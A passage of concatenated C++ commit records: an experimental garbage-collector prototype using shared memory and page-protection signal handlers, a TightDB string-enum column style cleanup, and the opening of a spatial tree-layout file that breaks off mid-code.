perror(\"ftruncate\");\n\n world* w(new(hdl) world);\n void* area(w);\n \n\n if (MAP_FAILED == area)\n perror(\"mmap\");\n\n w->protectPageRW(0);\n \n struct sigaction act, oact;\n memset(&act, 0, sizeof act);\n sigemptyset(&act.sa_mask);\n act.sa_flags = SA_SIGINFO;\n act.sa_sigaction = yummy;\n \n if (sigaction(SIGBUS\/*SEGV*\/, &act, &oact))\n perror(\"sigaction\");\n \n {\n for (int i(0); i < 100; i += 4)\n {\n char* p((char*)area + i);\n printf(\"i: %d, o: %p, m: %p\\n\", i, p, world::Cluster<4, 3>::Raw2Meta(p));\n *p = 0;\n }\n \n for (int i(10000); i < 10100; i += 4)\n {\n char* p((char*)area + i);\n printf(\"i: %d, o: %p, m: %p\\n\", i, p, world::Cluster<4, 3>::Raw2Meta(p));\n *p = 0;\n }\n \n sleep(3);\n int um(munmap(area, world::size()));\n if (um == -1)\n perror(\"munmap\");\n }\n \n int ul(shm_unlink(\"\/blubber\"));\n if (ul == -1)\n perror(\"shm_unlink\");\n\n \n}\n<commit_msg>do the right thing on Solaris<commit_after>#include <vector>\n#include <map>\n#include <cstring>\n#include <algorithm>\n#include <iostream>\n\n\n\n\n#include \"alloc.hpp\"\n#include \"safemacros.h\"\n\n#include <sys\/mman.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <signal.h>\n\nnamespace aL4nin\n{\n template <>\n struct meta<int>\n {\n int* allocate(std::size_t elems)\n {\n return new int[elems];\n }\n };\n\n\n\n template <>\n meta<int>& get_meta<int>(std::size_t)\n {\n static meta<int> m;\n return m;\n }\n}\n\n\/\/ metadata entry defines the\n\/\/ marking method:\n\/\/ a) bitpattern (up to 31 bits representing pointers to follow)\n\/\/ b) freestyle procedural marker\n\/\/ - uncommitted arrays must zero out object data before setting marker\n\/\/ - concurrency in data <--> metadata access???\n\n\n\/\/ let's fix some hard conventions\n\/\/ - T* is non-null collectable pointer that is to be followed\n\/\/ - nullable<T> is a possibly NULL pointer that should be followed\n\/\/ - T& is a non-assignable, non-null reference that is to be followed\n\/\/ - const T is a non-assignable non-null reference that is to be followed\n\/\/ - const nullable<T> is a non-assignable, possibly NULL pointer that should be followed\n\/\/ - references to builtin basic types are not followed\n\/\/ - non<T> is a pointer that will not be followed\n\/\/ - const non<T> is a non-assignable pointer that will not be followed\n\/\/ - thresholded<T, N> is like nullable but does not follow <= N\n\n#define WRAP(TYPE, MODIFIER) \\\n MODIFIER ## _WRAPPER(TYPE)\n\n#define BARE_WRAPPER(TYPE) TYPE\n#define _WRAPPER(TYPE) BARE_WRAPPER(TYPE)\n#define NULLABLE_WRAPPER(TYPE) nullable<TYPE>\n#define NON_WRAPPER(TYPE) non<TYPE>\n#define NULLABLE_WRAPPER(TYPE) nullable<TYPE>\n\ntemplate <typename T>\nstruct nullable\n{\n T* real;\n nullable(T* real)\n : real(real)\n {}\n};\n\n\ntemplate <typename T>\nstruct non\n{\n T real;\n non(const T& real)\n : real(real)\n {}\n};\n\n\nWRAP(int, NON) hh(42);\nWRAP(int, \/*BARE*\/) hh1;\nWRAP(int, NULLABLE) hh2(0);\n\nstruct foo\n{\n foo& f;\n foo() : f(*this)\n {}\n void bar()\n {\n\/\/\/ int i(&foo::f);\n }\n\n};\n\n\n\/\/ Anatomy of the WORLD.\n\/\/\n\/\/ The world is the part of the process memory that the GC\n\/\/ is interested in. It is completely subdivided in clusters.\n\/\/ The first cluster of the world is special.\n\/\/ Every other cluster is subdivided into 2^p pages. The size\n\/\/ of a page must match a (supported) VM page size.\n\/\/ The number of pages a cluster consists of (2^p) is dependent\n\/\/ on the cluster, so the world must store the ps in the special\n\/\/ cluster in order to be able to find the cluster boundaries.\n\/\/ At the start of each cluster we find the metaobjects.\n\/\/ The metaobject at displacement 0 (into the cluster) is\n\/\/ special, describing the metaobjects themselves, i.e. it is\n\/\/ a meta-metaobject.\n\/\/ Metaobjects are just additional information that is factored\n\/\/ out of the objects or can add information about the validity\n\/\/ and GC-properties of a group of objects.\n\n\/\/ Note: later I may introduce a multiworld, which may be\n\/\/ a linked list of worlds.\n\n\n\/\/ Checker templates\n\/\/\ntemplate <unsigned>\nstruct IsZero;\n\ntemplate <>\nstruct IsZero<0>\n{};\n\n\ntemplate <unsigned long DIVISOR, unsigned long DIVIDEND>\nstruct Divides : IsZero<DIVIDEND % DIVISOR>\n{};\n\n\n\n\n\/\/ World: define the layout of a world in the memory\n\/\/ and subdivide in pages. Provide info about the\n\/\/ location and size.\n\/\/ NUMPAGES: how many pages should this world hold\n\/\/ BASE: where should this world be located in the memory\n\/\/ PAGE: bits needed to address a byte in a page. i.e.\n\/\/ pagesize == 2^PAGE bytes\n\/\/\ntemplate <unsigned NUMPAGES, unsigned BASE, unsigned PAGE>\nstruct World\n{\n enum { PageSize = 1 << PAGE };\n\n struct Page\n {\n char raw[PageSize];\n };\n\n Page pages[NUMPAGES];\n\n static void* start(void)\n {\n Divides<PageSize, BASE> c1;\n return reinterpret_cast<void*>(BASE);\n }\n\n static size_t size(void)\n {\n return PageSize * NUMPAGES;\n }\n\n void protectPageRW(unsigned pagenum)\n {\n protectClusterRW(pagenum, 1);\n }\n\n void protectClusterRW(unsigned from_pagenum, unsigned ps)\n {\n if (0 != mprotect(pages + from_pagenum, PageSize * ps, PROT_NONE))\n perror(\"mprotect\");\n }\n\n void* operator new(size_t s, int hdl)\n {\n void* here(mmap(start(),\n s,\n PROT_READ | PROT_WRITE,\n MAP_SHARED,\n hdl,\n 0));\n if (MAP_FAILED == here)\n perror(\"mmap\");\n\n assert(s == size());\n assert(here == start());\n assert(sysconf(_SC_PAGESIZE) == PageSize);\n \n return here;\n }\n};\n\n\n\n\/\/ MISC ideas\n\/\/ allocation: tell a cluster to allocate an obj of a certain\n\/\/ metadata \"class\". returns a cluster address, which may be the\n\/\/ same as the current cluster or pointer to a new cluster with\n\/\/ the object being in there. In this case the pointer must be\n\/\/ stored away for the next allocation request.\n\n\/\/ GC: use a posix message queue to tell which thread stack ranges\n\/\/ must be mprotected. This way the threads can be starved out\n\/\/ systematically.\n\n\n\n\/\/ RawObj2Meta is intended to return a pointer for an object\n\/\/ living in the world, that describes its allocation and collection\n\/\/ behaviour.\n\/\/ PAGE: number of bits needed to address a byte in a VM-page\n\/\/ CLUSTER: how many bits are needed to address a page in a VM cluster of pages\n\/\/ SCALE: how many bytes together have the same metadata info (2^SCALE bytes)\n\/\/ ##!! not true: SCALE simply tells us how much \"denser\" metaobjects are\n\/\/ compared to objects. I.e. 32*8byte (cons cells) together share the same\n\/\/ metaobject, and the metaobject is 8bytes then SCALE is 5 because\n\/\/ 2^5==32.\n\/\/\n\/\/ Theory of operation:\n\/\/ Find the lowest address in the cluster and scale down the displacement\n\/\/ of the object to the appropriate metaobject.\n\ntemplate <unsigned long PAGE, unsigned long CLUSTER, unsigned long SCALE>\ninline void* RawObj2Meta(void* obj)\n{\n typedef unsigned long sptr_t;\n register sptr_t o(reinterpret_cast<sptr_t>(obj));\n enum \n {\n pat = (1 << PAGE + CLUSTER) - 1\n };\n \n register sptr_t b(o & ~static_cast<sptr_t>(pat));\n register sptr_t d(o & static_cast<sptr_t>(pat));\n return reinterpret_cast<void*>(b + (d >> SCALE));\n}\n\n\ntemplate <unsigned NUMPAGES, unsigned BASE, unsigned PAGE>\nstruct ClusteredWorld : World<NUMPAGES, BASE, PAGE>\n{\n template <unsigned long CLUSTER, unsigned long SCALE>\n struct Cluster\n {\n static inline void* Raw2Meta(void* obj)\n {\n return RawObj2Meta<PAGE, CLUSTER, SCALE>(obj);\n }\n };\n};\n\n\n#include \"alloc.cpp\"\n\n\nusing namespace std;\nusing namespace aL4nin;\n\nnamespace aL4nin\n{\n template <>\n meta<void>* object_meta<void>(void* p)\n {\n if (!p)\n return 0;\n\n static meta<void> me;\n return &me;\n }\n\n template <>\n struct meta<std::_Rb_tree_node<std::pair<const int, int> > >\n {\n typedef std::_Rb_tree_node<std::pair<const int, int> > payload;\n\n payload* allocate(std::size_t elems)\n {\n return new payload[elems];\n }\n };\n\n template <>\n meta<std::_Rb_tree_node<std::pair<const int, int> > >& get_meta<std::_Rb_tree_node<std::pair<const int, int> > >(std::size_t)\n {\n static meta<std::_Rb_tree_node<std::pair<const int, int> > > m;\n return m;\n }\n\n struct cons : pair<void*, void*>\n {};\n\n template <>\n struct meta<cons>\n {\n enum { bits = 32 };\n\n cons* objects;\n bool bitmap[bits];\n bool marks[bits];\n\n meta(void)\n {\n memset(this, 0, sizeof *this);\n }\n\n cons* allocate(std::size_t)\n {\n if (!objects)\n {\n objects = new cons[bits];\n *bitmap = true;\n return objects;\n }\n\n bool* end(bitmap + meta<cons>::bits);\n bool* freebit(find(bitmap, end, 0));\n if (freebit == end)\n return 0;\n\n *freebit = true;\n\n return objects + (freebit - bitmap);\n }\n\n void mark(const cons* p PLUS_VERBOSITY_ARG())\n {\n \/\/ simple minded!\n int i(bits - 1);\n for (const cons* my(objects + i);\n i >= 0;\n --my, --i)\n {\n if (bitmap[i] && p == my)\n {\n VERBOSE(\"identified as cons\");\n if (marks[i])\n {\n VERBOSE(\"already marked\");\n return \/*true*\/;\n }\n\n\n marks[i] = true;\n if (object_meta(p->first))\n {\n object_meta(p->first)->mark(p->first PASS_VERBOSE);\n }\n\n if (object_meta(p->second))\n {\n object_meta(p->second)->mark(p->second PASS_VERBOSE);\n }\n\n\n return \/*true*\/;\n }\n }\n\n VERBOSE_ABORT(\"not a cons\");\n }\n };\n\n\n template <>\n meta<cons>& get_meta<cons>(std::size_t)\n {\n static meta<cons> m;\n\n if (find(m.bitmap, m.bitmap + meta<cons>::bits, 0))\n return m;\n\n abort();\n }\n\n void* rooty(0);\n\n void collect(VERBOSITY_ARG())\n {\n VERBOSE(\"starting\");\n\n \/\/ do we need meta<void>\n \/\/ or can we safely assume\n \/\/ to know the exact meta type?\n \/\/ probably not: if a slot is just declared\n \/\/ <object> we never know the metadata\n meta<void>* m(object_meta(rooty));\n if (m)\n m->mark(rooty PASS_VERBOSE);\n \/\/\/ if (m.trymark(rooty.first)) ...;\n\n VERBOSE(\"done\");\n }\n\n void meta<void>::mark(void* p PLUS_VERBOSITY_ARG())\n {\n \/\/ look whether it is a cons\n VERBOSE(\"trying to mark: \" << p);\n \/\/ hack!\n meta<cons>& m(get_meta<cons>(1));\n m.mark(static_cast<cons*>(p) PASS_VERBOSE);\n }\n}\n\n\/\/ http:\/\/www.opengroup.org\/onlinepubs\/007908799\/xsh\/sigaction.html\n\/\/ http:\/\/www.gnu.org\/software\/libc\/manual\/html_node\/Sigaction-Function-Example.html\n\/\/ http:\/\/www.opengroup.org\/onlinepubs\/000095399\/basedefs\/signal.h.html\nvoid yummy(int, siginfo_t *, void *);\nvoid yummy(int, siginfo_t* indo, void *)\n{\n printf(\"gggg\\n\");\n abort();\n}\n\nvoid wummy(int, siginfo_t *, void *);\nvoid wummy(int, siginfo_t* indo, void *)\n{\n printf(\"Solaris:gggg\\n\");\n abort();\n}\n\n\nint main(void)\n{\n vector<int, alloc<int> > v(3);\n map<int, int, less<int>, alloc<int> > m;\n m.insert(make_pair(1, 42));\n\n cons* c(alloc<cons>().allocate(1));\n c->first = c;\n c->second = 0;\n rooty = c;\n\n\n collect(true);\n\n int hdl(shm_open(\"\/blubber\",\n O_RDWR | O_CREAT,\n S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP));\n\n perror(\"shm_open\");\n\n# ifdef __APPLE__\n typedef ClusteredWorld<100, 0xFF000000UL, 12> world;\n# else\n typedef ClusteredWorld<100, 0xFF000000UL, 13> world;\n# endif\n \n int tr(ftruncate(hdl, world::size()));\n if (tr == -1)\n perror(\"ftruncate\");\n\n world* w(new(hdl) world);\n void* area(w);\n \n\n if (MAP_FAILED == area)\n perror(\"mmap\");\n\n w->protectPageRW(0);\n \n struct sigaction act, oact;\n memset(&act, 0, sizeof act);\n sigemptyset(&act.sa_mask);\n act.sa_flags = SA_SIGINFO;\n \n# ifdef __APPLE__\n act.sa_sigaction = yummy;\n if (sigaction(SIGBUS, &act, &oact))\n# else\n act.sa_sigaction = wummy;\n if (sigaction(SIGSEGV, &act, &oact))\n# endif\n perror(\"sigaction\");\n \n {\n for (int i(0); i < 100; i += 4)\n {\n char* p((char*)area + i);\n printf(\"i: %d, o: %p, m: %p\\n\", i, p, world::Cluster<4, 3>::Raw2Meta(p));\n *p = 0;\n }\n \n for (int i(10000); i < 10100; i += 4)\n {\n char* p((char*)area + i);\n printf(\"i: %d, o: %p, m: %p\\n\", i, p, world::Cluster<4, 3>::Raw2Meta(p));\n *p = 0;\n }\n \n sleep(3);\n int um(munmap(area, world::size()));\n if (um == -1)\n perror(\"munmap\");\n }\n \n int ul(shm_unlink(\"\/blubber\"));\n if (ul == -1)\n perror(\"shm_unlink\");\n\n \n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <iomanip>\n\n#include <tightdb\/column_string_enum.hpp>\n#include <tightdb\/index_string.hpp>\n\nusing namespace std;\nusing namespace tightdb;\n\n\nnamespace {\n\n\/\/ Getter function for string index\nStringData get_string(void* column, size_t ndx)\n{\n return static_cast<ColumnStringEnum*>(column)->get(ndx);\n}\n\n} \/\/ anonymous namespace\n\n\nColumnStringEnum::ColumnStringEnum(ref_type keys, ref_type values, ArrayParent* column_parent,\n size_t column_ndx_in_parent, ArrayParent* keys_parent,\n size_t keys_ndx_in_parent, Allocator& alloc):\n Column(values, column_parent, column_ndx_in_parent, alloc), \/\/ Throws\n m_keys(keys, keys_parent, keys_ndx_in_parent, alloc), \/\/ Throws\n m_index(0)\n{\n}\n\nColumnStringEnum::~ColumnStringEnum() TIGHTDB_NOEXCEPT\n{\n delete m_index;\n}\n\nvoid ColumnStringEnum::destroy() TIGHTDB_NOEXCEPT\n{\n m_keys.destroy();\n Column::destroy();\n if (m_index)\n m_index->destroy();\n}\n\nvoid ColumnStringEnum::adjust_keys_ndx_in_parent(int diff) TIGHTDB_NOEXCEPT\n{\n m_keys.adjust_ndx_in_parent(diff);\n}\n\nvoid ColumnStringEnum::adjust_ndx_in_parent(int diff) TIGHTDB_NOEXCEPT\n{\n Column::adjust_ndx_in_parent(diff);\n}\n\nvoid ColumnStringEnum::update_from_parent(size_t old_baseline) TIGHTDB_NOEXCEPT\n{\n m_array->update_from_parent(old_baseline);\n m_keys.update_from_parent(old_baseline);\n}\n\nvoid ColumnStringEnum::add(StringData value)\n{\n insert(Column::size(), value);\n}\n\nvoid ColumnStringEnum::set(size_t ndx, StringData value)\n{\n TIGHTDB_ASSERT(ndx < Column::size());\n\n \/\/ Update index\n \/\/ (it is important here that we do it before actually setting\n \/\/ the value, or the index would not be able to find the correct\n \/\/ position to update (as it looks for the old value))\n if (m_index) {\n StringData oldVal = get(ndx);\n m_index->set(ndx, oldVal, value);\n }\n\n size_t key_ndx = GetKeyNdxOrAdd(value);\n Column::set(ndx, key_ndx);\n}\n\nvoid ColumnStringEnum::insert(size_t ndx, StringData value)\n{\n TIGHTDB_ASSERT(ndx <= Column::size());\n\n size_t key_ndx = GetKeyNdxOrAdd(value);\n Column::insert(ndx, key_ndx);\n\n if (m_index) {\n bool is_last = ndx+1 == size();\n m_index->insert(ndx, value, is_last);\n }\n}\n\nvoid ColumnStringEnum::erase(size_t ndx, bool is_last)\n{\n TIGHTDB_ASSERT(ndx < Column::size());\n\n \/\/ Update index\n \/\/ (it is important here that we do it before actually setting\n \/\/ the value, or the index would not be able to find the correct\n \/\/ position to update (as it looks for the old value))\n if (m_index) {\n StringData old_val = get(ndx);\n m_index->erase(ndx, old_val, is_last);\n }\n\n Column::erase(ndx, is_last);\n}\n\nvoid ColumnStringEnum::clear()\n{\n \/\/ Note that clearing a StringEnum does not remove keys\n Column::clear();\n\n if (m_index)\n m_index->clear();\n}\n\nsize_t ColumnStringEnum::count(size_t key_ndx) const\n{\n return Column::count(key_ndx);\n}\n\nsize_t ColumnStringEnum::count(StringData value) const\n{\n if (m_index)\n return m_index->count(value);\n\n size_t key_ndx = m_keys.find_first(value);\n if (key_ndx == not_found) return 0;\n return Column::count(key_ndx);\n}\n\nvoid ColumnStringEnum::find_all(Array& res, StringData value, size_t begin, size_t end) const\n{\n if (m_index && begin == 0 && end == size_t(-1))\n return m_index->find_all(res, value);\n\n size_t key_ndx = m_keys.find_first(value);\n if (key_ndx == size_t(-1)) return;\n Column::find_all(res, key_ndx, begin, end);\n return;\n}\n\nvoid ColumnStringEnum::find_all(Array& res, size_t key_ndx, size_t begin, size_t end) const\n{\n if (key_ndx == size_t(-1)) return;\n Column::find_all(res, key_ndx, begin, end);\n return;\n}\n\nFindRes ColumnStringEnum::find_all_indexref(StringData value, size_t& dst) const\n{\n\/\/ TIGHTDB_ASSERT(value.m_data); fixme\n TIGHTDB_ASSERT(m_index);\n\n return m_index->find_all(value, dst);\n}\n\nsize_t ColumnStringEnum::find_first(size_t key_ndx, size_t begin, size_t end) const\n{\n \/\/ Find key\n if (key_ndx == size_t(-1)) return size_t(-1);\n\n return Column::find_first(key_ndx, begin, end);\n}\n\nsize_t ColumnStringEnum::find_first(StringData value, size_t begin, size_t end) const\n{\n if (m_index && begin == 0 && end == size_t(-1))\n return m_index->find_first(value);\n\n \/\/ Find key\n size_t key_ndx = m_keys.find_first(value);\n if (key_ndx == size_t(-1)) return size_t(-1);\n\n return Column::find_first(key_ndx, begin, end);\n}\n\nsize_t ColumnStringEnum::GetKeyNdx(StringData value) const\n{\n return m_keys.find_first(value);\n}\n\nsize_t ColumnStringEnum::GetKeyNdxOrAdd(StringData value)\n{\n size_t res = m_keys.find_first(value);\n if (res != size_t(-1)) return res;\n else {\n \/\/ Add key if it does not exist\n size_t pos = m_keys.size();\n m_keys.add(value);\n return pos;\n }\n}\n\nbool ColumnStringEnum::compare_string(const AdaptiveStringColumn& c) const\n{\n const size_t n = size();\n if (c.size() != n) return false;\n for (size_t i=0; i<n; ++i) {\n if (get(i) != c.get(i)) return false;\n }\n return true;\n}\n\nbool ColumnStringEnum::compare_string(const ColumnStringEnum& c) const\n{\n const size_t n = size();\n if (c.size() != n) return false;\n for (size_t i=0; i<n; ++i) {\n if (get(i) != c.get(i)) return false;\n }\n return true;\n}\n\n\nStringIndex& ColumnStringEnum::create_index()\n{\n TIGHTDB_ASSERT(m_index == null_ptr);\n\n \/\/ Create new index\n m_index = new StringIndex(this, &get_string, m_array->get_alloc());\n\n \/\/ Populate the index\n const size_t count = size();\n for (size_t i = 0; i < count; ++i) {\n StringData value = get(i);\n m_index->insert(i, value, true);\n }\n\n return *m_index;\n}\n\nvoid ColumnStringEnum::set_index_ref(ref_type ref, ArrayParent* parent, size_t ndx_in_parent)\n{\n TIGHTDB_ASSERT(!m_index);\n m_index = new StringIndex(ref, parent, ndx_in_parent, this, &get_string, m_array->get_alloc());\n}\n\nvoid ColumnStringEnum::install_index(StringIndex* index) TIGHTDB_NOEXCEPT\n{\n TIGHTDB_ASSERT(m_index == null_ptr);\n\n index->set_target(this, &get_string);\n m_index = index; \/\/ we now own this index\n}\n\n\n#ifdef TIGHTDB_DEBUG\n\nvoid ColumnStringEnum::Verify() const\n{\n m_keys.Verify();\n Column::Verify();\n}\n\nvoid ColumnStringEnum::to_dot(ostream& out, StringData title) const\n{\n ref_type ref = m_keys.get_ref();\n out << \"subgraph cluster_string_enum_column\" << ref << \" {\" << endl;\n out << \" label = \\\"String enum column\";\n if (title.size() != 0)\n out << \"\\\\n'\" << title << \"'\";\n out << \"\\\";\" << endl;\n\n m_keys.to_dot(out, \"keys\");\n Column::to_dot(out, \"values\");\n\n out << \"}\" << endl;\n}\n\nnamespace {\n\nvoid leaf_dumper(MemRef mem, Allocator& alloc, ostream& out, int level)\n{\n Array leaf(mem, 0, 0, alloc);\n int indent = level * 2;\n out << setw(indent) << \"\" << \"String enumeration leaf (size: \"<<leaf.size()<<\")\\n\";\n}\n\n} \/\/ anonymous namespace\n\nvoid ColumnStringEnum::dump_node_structure(ostream& out, int level) const\n{\n m_array->dump_bptree_structure(out, level, &leaf_dumper);\n}\n\n#endif \/\/ TIGHTDB_DEBUG\n<commit_msg>A bit of style cleanup<commit_after>#include <iostream>\n#include <iomanip>\n\n#include <tightdb\/column_string_enum.hpp>\n#include <tightdb\/index_string.hpp>\n\nusing namespace std;\nusing namespace tightdb;\n\n\nnamespace {\n\n\/\/ Getter function for string index\nStringData get_string(void* column, size_t ndx)\n{\n return static_cast<ColumnStringEnum*>(column)->get(ndx);\n}\n\n} \/\/ anonymous namespace\n\n\nColumnStringEnum::ColumnStringEnum(ref_type keys, ref_type values, ArrayParent* column_parent,\n size_t column_ndx_in_parent, ArrayParent* keys_parent,\n size_t keys_ndx_in_parent, Allocator& alloc):\n Column(values, column_parent, column_ndx_in_parent, alloc), \/\/ Throws\n m_keys(keys, keys_parent, keys_ndx_in_parent, alloc), \/\/ Throws\n m_index(0)\n{\n}\n\nColumnStringEnum::~ColumnStringEnum() TIGHTDB_NOEXCEPT\n{\n delete m_index;\n}\n\nvoid ColumnStringEnum::destroy() TIGHTDB_NOEXCEPT\n{\n m_keys.destroy();\n Column::destroy();\n if (m_index)\n m_index->destroy();\n}\n\nvoid ColumnStringEnum::adjust_keys_ndx_in_parent(int diff) TIGHTDB_NOEXCEPT\n{\n m_keys.adjust_ndx_in_parent(diff);\n}\n\nvoid ColumnStringEnum::adjust_ndx_in_parent(int diff) TIGHTDB_NOEXCEPT\n{\n Column::adjust_ndx_in_parent(diff);\n}\n\nvoid ColumnStringEnum::update_from_parent(size_t old_baseline) TIGHTDB_NOEXCEPT\n{\n m_array->update_from_parent(old_baseline);\n m_keys.update_from_parent(old_baseline);\n}\n\nvoid ColumnStringEnum::add(StringData value)\n{\n insert(Column::size(), value);\n}\n\nvoid ColumnStringEnum::set(size_t ndx, StringData value)\n{\n TIGHTDB_ASSERT(ndx < Column::size());\n\n \/\/ Update index\n \/\/ (it is important here that we do it before actually setting\n \/\/ the value, or the index would not be able to find the correct\n \/\/ position to update (as it looks for the old value))\n if (m_index) {\n StringData oldVal = get(ndx);\n m_index->set(ndx, oldVal, value);\n }\n\n size_t key_ndx = GetKeyNdxOrAdd(value);\n Column::set(ndx, key_ndx);\n}\n\nvoid ColumnStringEnum::insert(size_t ndx, StringData value)\n{\n TIGHTDB_ASSERT(ndx <= Column::size());\n\n size_t key_ndx = GetKeyNdxOrAdd(value);\n Column::insert(ndx, key_ndx);\n\n if (m_index) {\n bool is_last = ndx+1 == size();\n m_index->insert(ndx, value, is_last);\n }\n}\n\nvoid ColumnStringEnum::erase(size_t ndx, bool is_last)\n{\n TIGHTDB_ASSERT(ndx < Column::size());\n\n \/\/ Update index\n \/\/ (it is important here that we do it before actually setting\n \/\/ the value, or the index would not be able to find the correct\n \/\/ position to update (as it looks for the old value))\n if (m_index) {\n StringData old_val = get(ndx);\n m_index->erase(ndx, old_val, is_last);\n }\n\n Column::erase(ndx, is_last);\n}\n\nvoid ColumnStringEnum::clear()\n{\n \/\/ Note that clearing a StringEnum does not remove keys\n Column::clear();\n\n if (m_index)\n m_index->clear();\n}\n\nsize_t ColumnStringEnum::count(size_t key_ndx) const\n{\n return Column::count(key_ndx);\n}\n\nsize_t ColumnStringEnum::count(StringData value) const\n{\n if (m_index)\n return m_index->count(value);\n\n size_t key_ndx = m_keys.find_first(value);\n if (key_ndx == not_found)\n return 0;\n return Column::count(key_ndx);\n}\n\nvoid ColumnStringEnum::find_all(Array& res, StringData value, size_t begin, size_t end) const\n{\n if (m_index && begin == 0 && end == size_t(-1))\n return m_index->find_all(res, value);\n\n size_t key_ndx = m_keys.find_first(value);\n if (key_ndx == size_t(-1))\n return;\n Column::find_all(res, key_ndx, begin, end);\n}\n\nvoid ColumnStringEnum::find_all(Array& res, size_t key_ndx, size_t begin, size_t end) const\n{\n if (key_ndx == size_t(-1))\n return;\n Column::find_all(res, key_ndx, begin, end);\n}\n\nFindRes ColumnStringEnum::find_all_indexref(StringData value, size_t& dst) const\n{\n\/\/ TIGHTDB_ASSERT(value.m_data); fixme\n TIGHTDB_ASSERT(m_index);\n\n return m_index->find_all(value, dst);\n}\n\nsize_t ColumnStringEnum::find_first(size_t key_ndx, size_t begin, size_t end) const\n{\n \/\/ Find key\n if (key_ndx == size_t(-1))\n return size_t(-1);\n\n return Column::find_first(key_ndx, begin, end);\n}\n\nsize_t ColumnStringEnum::find_first(StringData value, size_t begin, size_t end) const\n{\n if (m_index && begin == 0 && end == size_t(-1))\n return m_index->find_first(value);\n\n \/\/ Find key\n size_t key_ndx = m_keys.find_first(value);\n if (key_ndx == size_t(-1))\n return size_t(-1);\n\n return Column::find_first(key_ndx, begin, end);\n}\n\nsize_t ColumnStringEnum::GetKeyNdx(StringData value) const\n{\n return m_keys.find_first(value);\n}\n\nsize_t ColumnStringEnum::GetKeyNdxOrAdd(StringData value)\n{\n size_t res = m_keys.find_first(value);\n if (res != size_t(-1))\n return res;\n else {\n \/\/ Add key if it does not exist\n size_t pos = m_keys.size();\n m_keys.add(value);\n return pos;\n }\n}\n\nbool ColumnStringEnum::compare_string(const AdaptiveStringColumn& c) const\n{\n size_t n = size();\n if (c.size() != n)\n return false;\n for (size_t i = 0; i != n; ++i) {\n if (get(i) != c.get(i))\n return false;\n }\n return true;\n}\n\nbool ColumnStringEnum::compare_string(const ColumnStringEnum& c) const\n{\n size_t n = size();\n if (c.size() != n)\n return false;\n for (size_t i = 0; i != n; ++i) {\n if (get(i) != c.get(i))\n return false;\n }\n return true;\n}\n\n\nStringIndex& ColumnStringEnum::create_index()\n{\n TIGHTDB_ASSERT(!m_index);\n\n \/\/ Create new index\n m_index = new StringIndex(this, &get_string, m_array->get_alloc());\n\n \/\/ Populate the index\n size_t n = size();\n for (size_t i = 0; i != n; ++i) {\n StringData value = get(i);\n m_index->insert(i, value, true);\n }\n\n return *m_index;\n}\n\nvoid ColumnStringEnum::set_index_ref(ref_type ref, ArrayParent* parent, size_t ndx_in_parent)\n{\n TIGHTDB_ASSERT(!m_index);\n m_index = new StringIndex(ref, parent, ndx_in_parent, this, &get_string, m_array->get_alloc());\n}\n\nvoid ColumnStringEnum::install_index(StringIndex* index) TIGHTDB_NOEXCEPT\n{\n TIGHTDB_ASSERT(m_index == null_ptr);\n\n index->set_target(this, &get_string);\n m_index = index; \/\/ we now own this index\n}\n\n\n#ifdef TIGHTDB_DEBUG\n\nvoid ColumnStringEnum::Verify() const\n{\n m_keys.Verify();\n Column::Verify();\n}\n\nvoid ColumnStringEnum::to_dot(ostream& out, StringData title) const\n{\n ref_type ref = m_keys.get_ref();\n out << \"subgraph cluster_string_enum_column\" << ref << \" {\" << endl;\n out << \" label = \\\"String enum column\";\n if (title.size() != 0)\n out << \"\\\\n'\" << title << \"'\";\n out << \"\\\";\" << endl;\n\n m_keys.to_dot(out, \"keys\");\n Column::to_dot(out, \"values\");\n\n out << \"}\" << endl;\n}\n\nnamespace {\n\nvoid leaf_dumper(MemRef mem, Allocator& alloc, ostream& out, int level)\n{\n Array leaf(mem, 0, 0, alloc);\n int indent = level * 2;\n out << setw(indent) << \"\" << \"String enumeration leaf (size: \"<<leaf.size()<<\")\\n\";\n}\n\n} \/\/ anonymous namespace\n\nvoid ColumnStringEnum::dump_node_structure(ostream& out, int level) const\n{\n m_array->dump_bptree_structure(out, level, &leaf_dumper);\n}\n\n#endif \/\/ TIGHTDB_DEBUG\n<|endoftext|>"} {"text":"<commit_before>\/*\n * spatial_displacement_leafless.cpp\n *\n * Created on: Aug 12, 2010\n * Author: Mark Christensen\n *\/\n\n#include \"spatial_displacement_leafless.h\"\n#include \"..\/system\/discursive_system.h\"\n\n\nusing namespace std;\n\nSpatialDisplacementLeafless::SpatialDisplacementLeafless(int width, int height):width(width), height(height), growthUnit(5.0)\n{\n}\n\nvoid SpatialDisplacementLeafless::decorate(SurrogateTreeNode* tree)\n{\n\t\/\/ Iterate over each node with children\n\t\/\/ First, \"count\". Calculates child center of mass and subtree depth\n\tthis->count(tree);\n\t\/\/ Second, float weighted surrogate nodes into position\n\t\/\/this->expand(tree,(3.14159\/2),0,0);\n\t\/\/ Max tree depth\n\tdouble maxDepth = tree->findMax(TreeNodeKey::DEPTH);\n\tthis->expand(tree,(3.14159\/2),0,0,(this->height)\/maxDepth);\n\t\/\/ Third, transform coordinates\n\tthis->transform(tree);\n}\n\n\n\/\/ Scale point values to fit within width and height give\n\/\/ with root at (width\/2, height)\n\/\/ Transformation flips y values and shifts x values\n\/\/ after scaling\nvoid SpatialDisplacementLeafless::transform(SurrogateTreeNode* tree)\n{\n\t\/\/ Calculate resize scaling factors\n\tdouble allowedWidth = this->width;\n\tdouble allowedHeight = this->height;\n\tdouble xMax = tree->findMax(TreeNodeKey::X);\n\tdouble xMin = tree->findMin(TreeNodeKey::X);\n\tdouble yMax = tree->findMax(TreeNodeKey::Y);\n\tdouble yMin = tree->findMin(TreeNodeKey::Y);\n\tDiscursiveDebugPrint(\"Mins: (%f,%f), Maxs: (%f,%f)\\n\",xMin,yMin,xMax,yMax);\n\tdouble currWidth = xMax - xMin;\n\tdouble currHeight = yMax - yMin;\n\n\tdouble minDim = min(allowedHeight, allowedWidth);\n\n\tdouble scalingFactorW = minDim\/currWidth;\n\tdouble scalingFactorH = minDim\/currHeight;\n\n\t\/\/ Transform points to look more \"naturally tree-like\"\n\ttree->scale(TreeNodeKey::Y, scalingFactorH);\n\tPropertyInverter inverter(this->height * 0.98);\n\ttree->transform(TreeNodeKey::Y,&inverter);\n\n\tPropertyShifter shifter(-1*((xMax + xMin) \/ 2));\n\ttree->transform(TreeNodeKey::X,&shifter);\n\t\/\/ Scale tree values\n\ttree->scale(TreeNodeKey::X, 